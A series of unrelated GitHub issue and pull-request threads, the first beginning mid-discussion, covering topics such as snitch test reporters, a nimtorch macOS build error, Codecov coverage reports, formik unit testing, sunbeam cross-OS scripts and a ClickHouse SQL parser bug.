    CHECK_THROWS_MATCHES(EXPR, EXCEPTION, snitch::matchers::with_what_contains{MESSAGE})

WARN - not a deal breaker, but convenient when tests rely on environment variables and you just don't care if they fail on some systems

I haven't been able to find an occurrence of WARN in https://github.com/nlohmann/json, but based on what you said above, it seems to me that this could be replaced by the special tag [!mayfail]:
TEST_CASE("platform dependent stuff", "[!mayfail]") {
    CHECK(some_platform_dependent_things());
}

Any failure in a test case tagged with [!mayfail] will be reported (e.g., with the default reporter, it will appear as a failure in the standard output), but the test case will always be considered as "passed":
starting snitch_runtime_tests_self with snitch v<IP_ADDRESS>ad2fff
==========================================
failed: running test case "platform dependent stuff"
          at test.cpp:5
          CHECK(some_platform_dependent_things()), got false
==========================================
success: all tests passed (1 test cases, 1 assertions)

I like the output of failing tests. This is really helpful. Unfortunately, the tests do not integrate as nicely into CLion as Doctest or Catch do. This is unfortunate, because this integration makes it very easy to repeat failing tests or to just execute a single test in the debugger.
There seem to lack an option to generate JUnit XML output. We use this in our CI (Gitlab) to collect reports.

I believe the two are related. snitch currently only implements a human-readable reporter (the default), and an example for TeamCity messages. We are able to handle machine-readable XML output, it just requires writing a reporter for it. This has been requested before, and I would like to include this. However I am unsure which format would be most useful. It seems Catch2 implements both a JUnit XML reporter and its own XML reporter. Same for doctest.
Rather than map to a standard interface, it seems IDEs implement specific "test adapters" for each testing framework. I suppose this is required anyway for handling stuff like command line inputs for selecting a particular test... snitch has its own command line interface, but it is very close to the one implemented in Catch2. I'll have to see if we can just piggy-back on the existing Catch2 test adapters, and have them magically work with snitch as well.

I have not yet looked at anything other than doctest::Approx. I can imagine other APIs, but basically I just want to express "these two numbers must be the same after rounding them up to x digits" or "the difference between these two numbers must not exceed x". My concrete use case involve digital maps, and the tests check the coordinates of intersection points and distances. Both are (unfortunately), not 100% same on all systems, but the domain allows some impreciseness (see https://xkcd.com/2170/).
I did not try snitch with nlohmann/json, but with a project I develop at my day job. There, WARN is used for a specific test where environment variables control a logging level, and a test is querying the default logging level. In the CI, we have fixed the environment, so the result is predictable. But if your local setup deviates, this must not make the test suite fail - a warning is sufficient. I can try [!mayfail].
Thanks for the definition of CHECK_THROWS_WITH_AS. I'll give it a try.
I cannot comment on your roadmap, but I think making snitch behave (a bit) like Catch2 could save you quite some work that the community did in the past - be it the integration to IDEs or the command-line arguments. I'm afraid there is too little room for originality here that it could be easier to just stick with a de-facto standard.
We use GitLab CI which can collect test reports in JUnit format. It allows you to see the results right in merge request without the need to create/download fancy HTML reports or stare at console outputs. Again, using a standard can help to avoid inventing something new.

That said, I will check the latest updates and report back to you how they work.

FYI: It seems CLion tries to call Doctest suites with -r=xml - maybe (?) this would be all for an integration.

Indeed Catch2 has a similar flag; --reporter xml. I think this is what we'll aim for, and will track this in a separate issue: https://github.com/cschreib/snitch/issues/100. I also opened a separate issue to track the implementation of the float matchers: https://github.com/cschreib/snitch/issues/101.
Thank you for all the feedback! I will close this issue as a resolved question, and if you're interested in following up the discussion on the other topics, feel free to participate there ;)


Update DO guide to link to correct launch-code-server script

Updates the DO guide to link to the correct launch-code-server script.
launch-code-server-linode.sh -> launch-code-server.sh

thanks!

Resolved https://github.com/cdr/deploy-code-server/issues/19


Sequence ID in the Labelview can overwrite the Metaview columns

For long sequence labels, text overflows the view, obscuring (jumbling) text from the Metaview.
This effect ends at the left edge of the SeqBlock.

please increase the width to 150px


[Image Name] [variant/version] EOL scheduled for [date]

Depends on [add a reference link here]

[x] Create a release (if necessary - which ensures images are up to date before deprecating )
[x] Open a PR
[x] Update templates (if necessary)
[x] Update https://github.com/devcontainers/images/issues/90
[x] Update Microsoft Artifact Registry docs

670290

Looks like this was created by accident, closing. If needed, feel free to reopen with more details, thank you!


Merge develop branch to v2 branch

Codecov Report

Merging #2231 (c60445d) into v2 (f8b31e2) will decrease coverage by 0.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##               v2    #2231      +/-   ##
==========================================
- Coverage   97.62%   97.60%   -0.02%
==========================================
  Files          56       56
  Lines       10473    10473
==========================================
- Hits        10224    10222       -2
- Misses        249      251       +2

Impacted Files
Coverage Δ

botocore/__init__.py
100.00% <ø> (ø)

botocore/httpsession.py
92.48% <0.00%> (-0.58%)
:arrow_down:

botocore/utils.py
97.22% <0.00%> (-0.17%)
:arrow_down:

botocore/credentials.py
98.64% <0.00%> (+0.10%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f8b31e2...c60445d. Read the comment docs.


OSX: nim cpp -r torch.nim fails

after building ATEN via https://github.com/fragcolor-xyz/nimtorch/issues/5#issuecomment-427937945:
ATEN=/tmp/d11/Users/timothee/git_clone/nim/pytorch/built/output/lib nim cpp -r torch.nim
error: unknown type name 'constexpr'

ATEN=/tmp/d11/Users/timothee/git_clone/nim/pytorch/built/output nim cpp -r --passC:-std=c++11 torch.nim
/Users/timothee/.cache/nim/torch_d/torch_tensors.cpp:206:14: error: no matching constructor for initialization of 'at::IntList' (aka 'ArrayRef<long long>')
        at::IntList temp(((long*) ((&self[((NI) 0)]))), selfLen_0);
                    ^    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/tmp/d11/Users/timothee/git_clone/nim/pytorch/built/output/include/ATen/core/ArrayRef.h:67:13: note: candidate constructor not viable: no known conversion from 'long *' to 'const long long *' for 1st argument
  constexpr ArrayRef(const T* data, size_t length)

I suspect you are not using nightly branch.
Osx needs {.passC: "-std=c++14".} which is already in there.. (nightly)

btw you can now also try:
conda create -n nimtorch -c fragcolor nimtorch
source activate nimtorch
nim cpp -r ~/miniconda3/envs/nimtorch/dist/nimtorch/torch.nim

Replace ~/miniconda3/ with your conda location if different

thanks!
nim cpp -r ~/miniconda3/envs/nimtorch/dist/nimtorch/torch.nim

nim cpp -r /Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch.nim
Hint: used config file '/Users/timothee/homebrew/anaconda3/envs/nimtorch/config/nim.cfg' [Conf]
Hint: used config file '/Users/timothee/.config/nim/nim.cfg' [Conf]
Hint: used config file '/Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/nim.cfg' [Conf]
Hint: used config file '/Users/timothee/.config/nim/config.nims' [Conf]
D20180822T214914: in top level config.nims;
/Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch/native/convolutions.nim(60, 6) Hint: 'tensor_ops.use_miopen(self: ConvParams, input: Tensor)[declared in torch/native/convolutions.nim(60, 5)]' is declared but not used [XDeclaredButNotUsed]
  proc use_miopen(self: ConvParams; input: Tensor): bool =
       ^
/Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch/native/convolutions.nim(28, 6) Hint: 'tensor_ops.is_output_padding_big(self: ConvParams)[declared in torch/native/convolutions.nim(28, 5)]' is declared but not used [XDeclaredButNotUsed]
  proc is_output_padding_big(self: ConvParams): bool =
       ^
/Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch/native/convolutions.nim(22, 6) Hint: 'tensor_ops.is_padded(self: ConvParams)[declared in torch/native/convolutions.nim(22, 5)]' is declared but not used [XDeclaredButNotUsed]
  proc is_padded(self: ConvParams): bool =
       ^
/Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch/native/convolutions.nim(16, 6) Hint: 'tensor_ops.is_strided(self: ConvParams)[declared in torch/native/convolutions.nim(16, 5)]' is declared but not used [XDeclaredButNotUsed]
  proc is_strided(self: ConvParams): bool =
       ^
Hint:  [Link]
ld: warning: directory not found for option '-L/Users/timothee/homebrew/anaconda3/envs/nimtorch/lib64'
ld: can't open output file for writing: /Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch, errno=21 for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
Error: execution of an external program failed: 'clang++   -o /Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch  /Users/timothee/.cache/nim/torch_d/stdlib_system.cpp.o /Users/timothee/.cache/nim/torch_d/torch_torch.cpp.o /Users/timothee/.cache/nim/torch_d/fragments_cpp.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_macros.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_tables.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_hashes.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_math.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_strutils.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_parseutils.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_bitops.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_algorithm.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_unicode.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_ospaths.cpp.o /Users/timothee/.cache/nim/torch_d/torch_torch_cpp.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_os.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_times.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_options.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_typetraits.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_strformat.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_posix.cpp.o /Users/timothee/.cache/nim/torch_d/torch_tensors.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_sequtils.cpp.o /Users/timothee/.cache/nim/torch_d/stdlib_sets.cpp.o /Users/timothee/.cache/nim/torch_d/torch_tensor_ops.cpp.o /Users/timothee/.cache/nim/torch_d/torch_autograd_macro.cpp.o /Users/timothee/.cache/nim/torch_d/torch_autograd_backward.cpp.o /Users/timothee/.cache/nim/torch_d/torch_functional.cpp.o  -lm -L/Users/timothee/homebrew/anaconda3/envs/nimtorch/lib -L/Users/timothee/homebrew/anaconda3/envs/nimtorch/lib64 -lcaffe2 -lcpuinfo -lsleef -pthread -lc10 -Wl,-rpath,'/Users/timothee/homebrew/anaconda3/envs/nimtorch/lib' -Wl,-rpath,'$ORIGIN'   -ldl'

this worked:
nim cpp -o:/tmp/d03/app -r /Users/timothee/homebrew/anaconda3/envs/nimtorch/dist/nimtorch/torch.nim

what's simplest way to use custom nim? I like to use nim devel or a fork; whereas this uses latest stable (0.19)

https://github.com/fragcolor-xyz/nimtorch#semi-manual-way
This way you just use ATen binaries, nothing else ( you bring your nim etc )

after updating to
ATEN=/tmp/d11/Users/timothee/git_clone/nim/pytorch/built/output nim cpp -r -f torch.nim

Nice catch! our tests were not testing clang, gonna add that too :smile:

Should be fixed now, could you try to force update your aten package? (has same version)

Released 2018.10.10 now. Tested locally, seems fixed!

ATEN=/tmp/d11/Users/timothee/git_clone/nim/pytorch/built/output nim cpp -r -f -o:/tmp/z01 torch.nim now works, thanks!


Blockchain.isValid() needs changes

The isValid method is returning true even after tampering with the chain.

This PR will solves this issue

This PR #3 will fix the issue!


Small change in to facilitate extended typed-holes

This change has no functional effect on haddock itself, it just changes one pattern to use _ ( rather than _(, so that we may use _( as a token for extended typed-holes later (see !1766  on GitLab)

Closed in favor of https://github.com/haskell/haddock/pull/1088


Change tag message

Codecov Report

Merging #110 (af91bde) into master (ee7cb44) will decrease coverage by 2.60%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master     #110      +/-   ##
============================================
- Coverage     75.98%   73.38%   -2.61%
- Complexity      568      569       +1
============================================
  Files            89       93       +4
  Lines          1820     1886      +66
  Branches        224      228       +4
============================================
+ Hits           1383     1384       +1
- Misses          362      429      +67
+ Partials         75       73       -2

Impacted Files
Coverage Δ

...address/logic/commands/applicant/AddApplicant.java
66.66% <ø> (ø)

.../seedu/address/logic/parser/AddressBookParser.java
80.00% <0.00%> (-4.22%)
:arrow_down:

...rc/main/java/seedu/address/logic/LogicManager.java
71.42% <0.00%> (-3.58%)
:arrow_down:

src/main/java/seedu/address/ui/MainWindow.java
0.00% <0.00%> (ø)

...rc/main/java/seedu/address/ui/PersonListPanel.java
0.00% <0.00%> (ø)

...seedu/address/ui/applicant/ApplicantListPanel.java
0.00% <0.00%> (ø)

...java/seedu/address/ui/applicant/ApplicantCard.java
0.00% <0.00%> (ø)

src/main/java/seedu/address/ui/TestPanel.java
0.00% <0.00%> (ø)

...ain/java/seedu/address/ui/applicant/InfoPanel.java
0.00% <0.00%> (ø)

.../java/seedu/address/model/applicant/Applicant.java
87.01% <0.00%> (+2.20%)
:arrow_up:

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ee7cb44...af91bde. Read the comment docs.


Orgs list is misleading

When you run this app for fastify/fastify you'll get orgs from my profile that really have no influence. I'm not sure how you can filter such orgs, but maybe by a member count? For example, if an org in a contributor's list has a single member then it probably isn't a real "organization" that influences anything.

Hey @jsumners Thanks for the comment
The idea of the "Influencing Organisations" was to capture when multiple contributors from a single organisation are contributing but also highlight that different orgs are contributing.
The latter requirement means that capturing the tail or single orgs is necessary.
Admittedly this looks noisy in the fastify example but it is useful in certain scenarios.
That said your point is valid.
Maybe a title change to "Possible Influencing Organisations" would cover it but I am open to other suggestions.

I can say for certainty that the PL/JSON and AtlSynth (Atlanta Synthesizer Club) will never be an influence to Fastify. I completely agree that the Knockaway org could be an influence. Hence my suggestion of checking the orgs for member numbers if possible.
A compromise might be to list the influencing members and orgs in a table. Member is first column and second column is the orgs they are attached to.

Thanks for clarifying some more. It seems like the underlying problem is the term "influencing"
"Influencing" draws an incorrect inference on the relationship between the other organisations of a collaborator and the target project.
I think changing the name to the more direct "Collaborators Aggregated by Organizations"  is the better option and leave the conclusion around influence to the viewer.
I'm not sure listing the members related orgs is the right option in this case as it would hide some key information.

I've removed the term influence from the project in this PR https://github.com/No9/project-stats/commit/91c13c74d1f8bf755c144caaa43ffeb7077fefe1

There's still no context that explains how the information is relevant. Sticking with my specific case, what does pljson showing up "contributors aggregated by organizations" mean? Does that mean the PL/JSON org contributed to the fastify/fastify project? I know it didn't because it's brought in through my orgs, but what about Jane Smith who is viewing this as a completely uninformed party?

Hey again
"contributors aggregated by organizations" is just a description of the data.
In the specific case it identifies that 1 of the contributors is also associated with pljson.
What that means and it's relevance is dependent on the reader and the organisations identified.
But with the previous title Jane Smith would have been led to believe that pljson influenced fastify.
Now she is just presented with the other organisations the contributors are related too.
She may be involved with those other organisations or have previous experience of those orgs but that is beyond the scope of this project.
Maybe Other Organisations the Contributors are Related To is an improvement on the title?
But anything more risks giving false interpretations again.

I think the icon + number is what really makes it difficult for me. It's like a third of the information is missing that would make the section useful. I think one of the two tables below would solve it for me. My intention with this issue was merely to try and get the information to be relevant and make sense given that I know I'm not the only contributor that creates orgs for literal project organization and not to represent a third party entity.

Contributor
Orgs

jsumners
[fastify icon], [pljson icon], etc

Org
Contributor

[fastify icon]
jsumners, someone_else, another_person

[pljson icon]
jsumners

Ah! That's super useful - I knew I was missing something in your explanation just couldn't for the life of me work it out.
I'd also like to keep the count so will add a total column

Contributor
Orgs
Total

jsumners
[fastify icon], [pljson icon], etc
2

Org
Contributor
Total

[fastify icon]
jsumners, someone_else, another_person
3

[pljson icon]
jsumners
1

Going to start iterating on this.

Excellent.

OK I've deployed a version of this at https://project-stats.netlify.app/
Page feels a little long now but I'm going to leave it as it is unless other features start to be requested.

Thanks for your patience getting the requirement across. We got there in the end.
I'm using the direct call to the image endpoint for the avatars
https://github.com/${data[s].userid}.png?size=32
and it looks like the size parameter isn't being respected when it's an GH generated avatar :(
I've updated the page to force the image size with an inline style.


cghr, wva, wbd mapping code lists

Nine (9) new files added.
wva2016tocghr_adults
wva2016tocghr_child
wva2016tocghr_neo
cghrtowbd10_adults*
cghrtowbd10_child
cghrtowbd10_neo*
wva2016towbd10_adults
wva2016towbd10_child
wva2016towbd10_neo
*Discrepancies in cghr to wbd10 mapping were manually modified and summarized in Excel file (to be sent via Slack)

Adding non-equivalent file: icd_cghr_wbd_nonequivalent.xlsx


How to write unit test case for FieldArray?

HI
I'm writing Unit Test case for my application. I used formik in my application. I'm facing a case how to write unit test case for FieldArray Component. I'm sharing my component code, unit test case and console message:-
My component code is:-
`
import React, { Component } from "react"
import PropTypes from "prop-types"
import Grid from "@material-ui/core/Grid"
import { withStyles } from "@material-ui/core/styles"
import { Field, FieldArray } from "formik"
import FieldTypeSelector from "./components/FieldTypeSelector"
import FormikCheckbox from "components/forms/formikFields/FormikCheckbox"
import { settingStyles } from "../../../../../common/Styles"
import EditableField from "./components/EditableField"
export class AdditionalCustomFields extends Component {
renderFields = () => {
const { classes, values } = this.props
const { additionalData } = values
return (
  <FieldArray
    name="additionalData"
    render={props => {
      return additionalData.map((field, index) => {
        return (
          <Grid item md={3} key={field.id} className="pt-0">
            <Field
              name={`additionalData.${index}.flag_active`}
              component={FormikCheckbox}
              className="my-3 mb-0"
              inputprops={{ maxLength: 80 }}
            />
            <EditableField
              field={field}
              index={index}
              classes={classes}
              additionalData={additionalData}
            />
            <FieldTypeSelector
              field={field}
              index={index}
              {...this.props}
            />
          </Grid>
        )
      })
    }}
  />
)

}
render() {
return (

{this.renderFields()}

)
}
}
AdditionalCustomFields.propTypes = {
classes: PropTypes.object.isRequired
}
export default withStyles(settingStyles)(AdditionalCustomFields)
`
Test case for above component:-
`
import React from "react"
import { shallow } from "enzyme"
import { AdditionalCustomFields } from "./index"
import { additionalData, customFieldData} from "../../../../mockData"
import { settingStyles } from "../../../../../common/Styles"
import { withStyles } from "@material-ui/core/styles"
import PropTypes from "prop-types"
const props = {
values : {
additionalData,
customFieldData
}
}
const Composer = ({ classes}) =>{
return <AdditionalCustomFields classes={classes} {...props}/>
}
Composer.propTypes = {
classes: PropTypes.object.isRequired
}
const Composition = withStyles(settingStyles)(Composer)
describe("Composer",()=>{
const wrapper = shallow().dive().find(AdditionalCustomFields).shallow()
 it("Describe CustomFieldForm component",()=>{
     console.log("sub component========>", wrapper.debug())

})

})
`
console showing
`
Test Suites: 1 failed, 4 passed, 5 total
Tests:       1 failed, 7 passed, 8 total
Snapshots:   0 total
Time:        12.114s
Ran all test suites related to changed files.
PASS src/pages/Settings/components/Application/components/CustomFields/components/CustomFieldForm/component/AdditionalCustomFields/AdditionalCustomFields.test.js
● Console
console.log src/pages/Settings/components/Application/components/CustomFields/components/CustomFieldForm/component/AdditionalCustomFields/AdditionalCustomFields.test.js:31
  sub component========> <WithStyles(ForwardRef(Grid)) container={true}>
    <FormikConnect(FieldArrayInner) name="additionalData" render={[Function: render]} />
  </WithStyles(ForwardRef(Grid))>

PASS src/pages/Settings/components/Application/components/CustomFields/CustomFieldsQyery.test.js (11.856s)
PASS src/pages/Settings/components/Application/components/CustomFields/CustomFields.test.js (8.129s)
PASS src/pages/Settings/components/Application/components/CustomFields/components/CustomFieldForm/CustomFieldsForm.test.js
PASS src/pages/Settings/components/Application/components/CustomFields/components/CustomFieldForm/component/CustomFields/CustomFields.test.js
Test Suites: 5 passed, 5 total
Tests:       8 passed, 8 total
Snapshots:   0 total
Time:        14.029s
Ran all test suites related to changed files.
`

we've certain test cases already written in the repo for FieldArray can you give them a try - https://github.com/formium/formik/blob/master/packages/formik/test/FieldArray.test.tsx


refactor trace layout/code for binary tracing

related to #173
should have a /models/trace/ folder, each trace format should be able to emit both kinds of trace

actually makes sense to only emit binary traces, and parse those into textual format for dogfood.

done in 0f01a36


How to add a menu entries for custom actions

I would like to add a menu entry for a collection action but I don't found anything about it in the documentation.
What is the right way to do it ?
Given I have the following code:
ActiveAdmin.register Article do
  collection_action :stats do
    # assigning stats data
  end
end

How would I add the "Stats" entry in the Articles menu ?
Thanks,

Ok, I found my answer in the active_admin code and used:
ActiveAdmin.register Article do
  action_item { link_to "Stats", stats_admin_articles_path }

  collection_action :stats do
    # assigning stats data
  end
end


[STYLE CHANGE] Fix FAQ section alignment

Is there an existing issue raised for this?

[X] I have searched the existing issues

Description:
Fix FAQ section alignment
Reason for Change:
to make UI better
Current Styling:
some answers are left aligned some are not
Proposed Styling:
Left alignment for all answers of FAQ
Screenshots or Design Mockups (optional):

Tick the appropriate boxes as per your choice

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'23 contributor
[X] I want to work on this issue

@MisterMickey
Go for it.


Display pop up

Create a comments popup only with the top section (displaying details of the selected item)

When the popup loads, the web app retrieves data from the selected API and shows details about the selected item.
Add event to button to open popup.

STATUS: APROVED :green_circle: :clap:
Hello @AlexHamn,
Your project is complete!  There is nothing else to say. Great job 👏
Congratulations! 🎉
Now you can merge this branch and move on :1st_place_medal:
HAPPY CODING AND GOOD LUCK WITH THE COMMING ONES :crossed_fingers: :four_leaf_clover:

Feel free to leave any questions or comments in the PR thread if something is not 100% clear.

As described in the Code reviews limits policy, you have a limited number of reviews per project (check the exact number in your Dashboard). If you think the code review was unfair, you can request a second opinion using this form.


Do not output info logs during tag updates.

Fixes #69 in perhaps the most naive way ever. Logging is preserved in case of errors, but otherwise not output during the tag update phase (where the progress bar is more useful feedback).

Closing in favor of #71


How to write cross OS scripts

(sorry for another not real issue but more of a discussion)
What is the best way to write scripts which would work cross OS (e.g. on MacOS and on Windows)?
What doesn't work
I though of using the "launcher" bash script like it is used in some examples, and tried to write some Powershell code but Windows doesn't allow people to run Powershell on files which are not with a ps1 file type.
What works
For a Python script, I added an alias for python where python3 is installed and added a shebang of #!python at the top of my Python script. Installing this extension worked on Windows (and I am pretty sure will work as well on MacOS)
Now, to read configuration set in local files, instead of using env var and source in the launcher script for Unix I could move this to some Python logic dependent on the OS.
What could be different
How could we make it more seamless for the same scripts to run on Unix and Windows (not talking about WSL)?

Could sunbeam check for sunbeam-extension and sunbeam-extension.ps1 in the case of Windows? And if the ps1 version exists, run this script instead of the one without an extension?
Could we define what is the entry script in text in sunbeam-extension (or another file) rather than using this script as an executable one?

I think I would prefer 1.  as it wouldn't require too much of a rework but I'd be keen to hear your point of view

I though of using the "launcher" bash script like it is used in some examples, and tried to write some Powershell code but Windows doesn't allow people to run Powershell on files which are not with a ps1 file type.

What about using this as a "entry script" ?
#!/bin/sh

powershell my-script.ps1

I quite like the sunbeam-extension.ps1 idea. I think powershell script can also be defined in a .exe file, so maybe sunbeam-extension.exe would be better ?

I just tried
#!/bin/sh

powershell my-script.ps1

on a file without an extension and it prompted me to open an application meaning that it didn't work.

I also tried with an exe and got a nice
Program 'test.exe' failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1

But running .\test.ps1 with the following code works well
python $PSScriptRoot/extension.py

I'll do some test on my own vm :)

An alternative approach to consider, bundle a sh parser. This is used in Task
https://github.com/mvdan/sh

So currently a good strategy for writing powershell script in sunbeam is the same I use for other languages (ex: https://github.com/pomdtr/sunbeam-vscode)

use sunbeam-extension as the entrypoint:

#!/bin/sh

powershell ./extension.ps1

write your extension in powershell as usual in extension.ps1

I agree that it is not elegant, and one alternative I'm considering is too allow using an arbitrary extension for the entrypoint (ex: sunbeam-extension.ts, sunbeam-extension.ps1...)
Here it would allow you to do:
#!/usr/bin/env powershell

# your script here

An alternative approach to consider, bundle a sh parser. This is used in Task

Even if you don't use WSL, sunbeam requires a posix shell to work (on macos/linux, you already have bin/sh, on windows you can install it through git bash).
I don't plan to bundle an interpreter for sunbeam: those make sense for oneliners, but the /bin/sh shell is used to run full-blown extensions.

Hey! So I though a lot about it, and I come to the conclusion that git repository is the wrong unit for sunbeam extensions.
I find sunbeam extensions are the best when they are composed of a single file, and I want to optimize the experience for this usecase (at least for v1).
I migrated all of the extensions repository to a single one (https://github.com/pomdtr/sunbeam-extensions).
As for the initial question on this issue: sunbeam runs on all platform, but extension are not required to. It is fine to use on ps1 script on windows, and one sh script on linux, or even not to have a windows version at all.
However if you want to build cross-platform scripts, sunbeam gives you tool for building cross-platfom scripts (sunbeam query / sunbeam fetch, clipboard + browser utils...). But in this case, you should not use powershell, but a cross-plaform intepreter instead (python, deno, sh...)

An alternative way to distribute python scripts is to leverage nix. See https://yukiisbo.red/notes/spice-up-with-nix-scripts/


Sort the 'insert_resources' data to make static_loader! deterministic

Currently, the TokenStream produced by the static_loader! macro depends on the default HashMap iteration order, as well as the filesystem directory iteration order.
To allow static_loader! to be compatible with a reproducible build, I've sorted the output of insert_resources before iterating over it. This ensures that the final TokenStream depends only on the loaded filenames and the file contents.

Thank you for your PR!

It would be awesome if you could cut a 0.8.1 sometime soon with this in it!

It'll be at least week before I can perform a release, as I'm currently going in for surgery so I'll have less bandwidth in the short term.

Oh, that's completely fine then, best of luck with the procedure! 🤞

Yes, all good :)


clickhouse cluster view

clickhouse cluster view 语法SQL
类似，select a from cluster('test', view( select a from table))
经过SqlParser解析后
SELECT a
FROM cluster('test', view((
SELECT a
FROM table
)))
view 表达式后多了一对括号。
view 为 SQLMethodInvokeExpr， 参数为 SQLQueryExpr
SQLASTOutputVisitor 遍历view expr 时会因为SQLMethodInvokeExpr 加上一对括号
遍历SQLQueryExpr 时还会加上一对括号，导致上面的错误。
如果SQLQueryExpr 的parent 为 SQLMethodInvokeExpr 时，取消后者补充括号的逻辑。

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.lizikun seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

请签署CLA


docs(firebase_core): update docs about native SDK warnings

Description
See title.
Related Issues
fixes https://github.com/FirebaseExtended/flutterfire/issues/8119
Checklist
Before you create this PR confirm that it meets all requirements listed below by checking the relevant checkboxes ([x]).
This will ensure a smooth and quick review process. Updating the pubspec.yaml and changelogs is not required.

[ ] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[ ] My PR includes unit or integration tests for all changed/updated/fixed behaviors (See Contributor Guide).
[ ] All existing and new tests are passing.
[ ] I updated/added relevant documentation (doc comments with ///).
[ ] The analyzer (melos run analyze) does not report any problems on my PR.
[ ] I read and followed the Flutter Style Guide.
[ ] I signed the CLA.
[ ] I am willing to follow-up on review comments in a timely manner.

Breaking Change
Does your PR require plugin users to manually update their apps to accommodate your change?

[ ] Yes, this is a breaking change.
[X] No, this is not a breaking change.

I've made a request for console warning update on iOS repo as well: https://github.com/firebase/firebase-ios-sdk/issues/9390


Implement API Title Expansion (3)

Fixes #45
MINOR BREAKING CHANGE:
The structures RoomsListOptions, UserListOptions, and HistoryOptions each have
an additional member inserted named ExpandOptions.  If these were constructed using
positional arguments instead of the named argument idiom, a default ExpandOptions{}
will need to be inserted after the ListOptions to maintain the current behaviors.

Ready for Code review.

@tbruyelle Ready for code review.  This exact code has run in production now for four days.

I didn't forget you, I'll review your PR before the end of the week.

No problem. 😇  With my triple submission of pull requests I wasn't positive this one was known to be the final, working solution.

Thank you !


Add additional scripts

Scripts to create

[ ] script to clean - something similar to rm -rf dist/

We used rimraf for this before, right?

Yeah, I think we may have.
I'll probably just add "clean": "rimraf .cache .tmp lib dist build" to the scripts then. On that note, do I have write access? I don't see an option to create a branch and I can't use the --set-upstream origin to create a branch

Yeah, I think we may have.
I'll probably just add "clean": "rimraf .cache .tmp lib dist build" to the scripts then. On that note, do I have write access? I don't see an option to create a branch and I can't use the --set-upstream origin to create a branch

Oh dear! I'll check it the settings and make sure.


When I'm using this with image crop it says this error Unknown provider: ngfDataUrlFilterProvider <- ngfDataUrlFilter

Error: [$injector:unpr] Unknown provider: ngfDataUrlFilterProvider <- ngfDataUrlFilter
http://errors.angularjs.org/1.4.7/$injector/unpr?p0=ngfDataUrlFilterProvider <- ngfDataUrlFilter
at angular.js:68
at angular.js:4289
at Object.getService [as get] (angular.js:4437)
at angular.js:4294
at Object.getService [as get] (angular.js:4437)
at angular.js:18229
at isStateless (angular.js:13130)
at findConstantAndWatchExpressions (angular.js:13187)
at angular.js:13141
at forEach (angular.js:336)(anonymous function) @ angular.js:12477

Post your code and steps to reproduce. That's probably dependency injection error.

Copy and past the same code from this demo?
http://jsfiddle.net/xxo3sk41/1/
but i'm not using the latest version. Is that the problem?

Yes it could be.


FastLio version ans other algorithms

Hi!
thank you for this amazing repo!
What version of FastLio do you use? 1? 2?
Is it possible to upgrade? And how complicated is it to add new algorithms (like fast_livo etc)
And also, all the provided algorithms:
"lidar_align: A simple method for finding the extrinsic calibration between a 3D lidar and a 6-dof pose sensor.
lidar_imu_calib: automatic calibration of 3D lidar and IMU extrinsics.
OpenPCDet: OpenPCDet Toolbox for LiDAR-based 3D Object Detection.
AB3DMOT: 3D Multi-Object Tracking: A Baseline and New Evaluation Metrics.
FAST-LIO: A computationally efficient and robust LiDAR-inertial odometry package.
R3LIVE: A Robust, Real-time, RGB-colored, LiDAR-Inertial-Visual tightly-coupled state Estimation and mapping package.
FLOAM: Fast and Optimized Lidar Odometry And Mapping for indoor/outdoor localization.
hdl_graph_slam: an open source ROS package for real-time 6DOF SLAM using a 3D LIDAR.
hdl_localization: Real-time 3D localization using a (velodyne) 3D LIDAR.
ORB_SLAM2: Real-Time SLAM for Monocular, Stereo and RGB-D Cameras, with Loop Detection and Relocalization Capabilities.
scancontext: Global LiDAR descriptor for place recognition and long-term localization.
"
Do you use them directly, or do you alter them to your specific version? I ask to understand the flexibility...
Thank you!

Hi! thank you for this amazing repo! What version of FastLio do you use? 1? 2? Is it possible to upgrade? And how complicated is it to add new algorithms (like fast_livo etc)
